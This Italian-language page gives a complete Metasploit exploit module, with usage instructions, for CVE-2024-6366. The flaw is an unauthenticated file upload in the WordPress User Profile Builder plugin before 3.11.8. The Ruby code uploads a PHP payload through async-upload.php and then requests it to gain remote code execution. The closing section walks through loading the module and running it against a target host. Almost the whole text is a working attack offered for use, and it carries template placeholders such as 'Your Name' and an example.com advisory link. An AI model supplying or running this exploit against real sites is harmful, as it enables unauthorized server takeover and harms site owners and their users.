
Modulo exploit Metasploit per CVE-2024-6366, un'esecuzione remota di codice tramite upload di file non autenticato in WordPress User Profile Builder prima della versione 3.11.8, che carica ed esegue un payload PHP.
Per creare un modulo Metasploit per sfruttare la vulnerabilità RCE nel plugin WordPress User Profile Builder precedente alla versione 3.11.8, dobbiamo sfruttare la mancanza di autorizzazione appropriata nella funzionalità di caricamento dei file multimediali. Ecco come creare un tale modulo Metasploit:
Salva il seguente codice come wordpress_user_profile_builder_rce.rb nella directory modules/exploits/unix/webapp della tua installazione di Metasploit Framework.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress User Profile Builder Unauthenticated File Upload RCE',
'Description' => %q{
This module exploits a vulnerability in the User Profile Builder WordPress plugin before version 3.11.8.
The plugin does not have proper authorization, allowing unauthenticated users to upload media files via
the async upload functionality. This can be leveraged to upload and execute a malicious PHP payload.
},
'Author' =>
[
'Your Name' # OneArch
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2024-6366'], # Replace with the actual CVE identifier
['URL', 'https://example.com/advisory'] # Replace with an advisory link if available
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'WordPress User Profile Builder < 3.11.8', {} ]
],
'DisclosureDate' => 'Aug 03 2024',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [ true, "The base path to the WordPress installation", '/']),
])
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
})
if res && res.body.include?('wp-content/plugins/user-profile-builder')
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def exploit
php_payload = "<?php #{payload.encoded} ?>"
data = Rex::MIME::Message.new
data.add_part(php_payload, 'application/octet-stream', nil, "form-data; name=\"async-upload\"; filename=\"#{Rex::Text.rand_text_alpha(8..12)}.php\"")
data.add_part('1', nil, nil, 'form-data; name="html-upload"')
data.add_part('Upload', nil, nil, 'form-data; name="upload"')
print_status("Uploading PHP payload...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'async-upload.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
})
if res && res.code == 200 && res.body.include?('.php')
php_path = res.body.match(/(\/wp-content\/uploads\/[0-9]+\/[0-9]+\/.*?\.php)/)[1]
print_good("Payload uploaded successfully: #{php_path}")
register_files_for_cleanup(php_path)
execute_command("#{php_path}")
else
fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
end
end
def execute_command(php_path)
print_status("Executing PHP payload...")
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, php_path)
})
end
end
Salva il modulo:
Salva il modulo come wordpress_user_profile_builder_rce.rb nella directory modules/exploits/unix/webapp della tua installazione di Metasploit Framework.
/path/to/metasploit-framework/modules/exploits/unix/webapp/wordpress_user_profile_builder_rce.rb
Carica Metasploit: Avvia Metasploit Framework aprendo un terminale ed eseguendo:
msfconsole
Usa il nuovo modulo: Nella console di Metasploit, carica il nuovo modulo exploit usando il seguente comando:
use exploit/unix/webapp/wordpress_user_profile_builder_rce
Configura ed esegui:
Imposta le opzioni necessarie, come RHOSTS e TARGETURI. Quindi esegui l'exploit.
msf6 > use exploit/unix/webapp/wordpress_user_profile_builder_rce
msf6 exploit(unix/webapp/wordpress_user_profile_builder_rce) > set RHOSTS target_ip
RHOSTS => target_ip
msf6 exploit(unix/webapp/wordpress_user_profile_builder_rce) > set TARGETURI /
TARGETURI => /
msf6 exploit(unix/webapp/wordpress_user_profile_builder_rce) > run
Questo modulo Metasploit carica un file PHP malevolo nell'installazione WordPress vulnerabile e poi lo esegue per ottenere l'esecuzione di codice remoto. Regola il payload e il modulo secondo necessità in base alla natura specifica della vulnerabilità e all'ambiente di destinazione.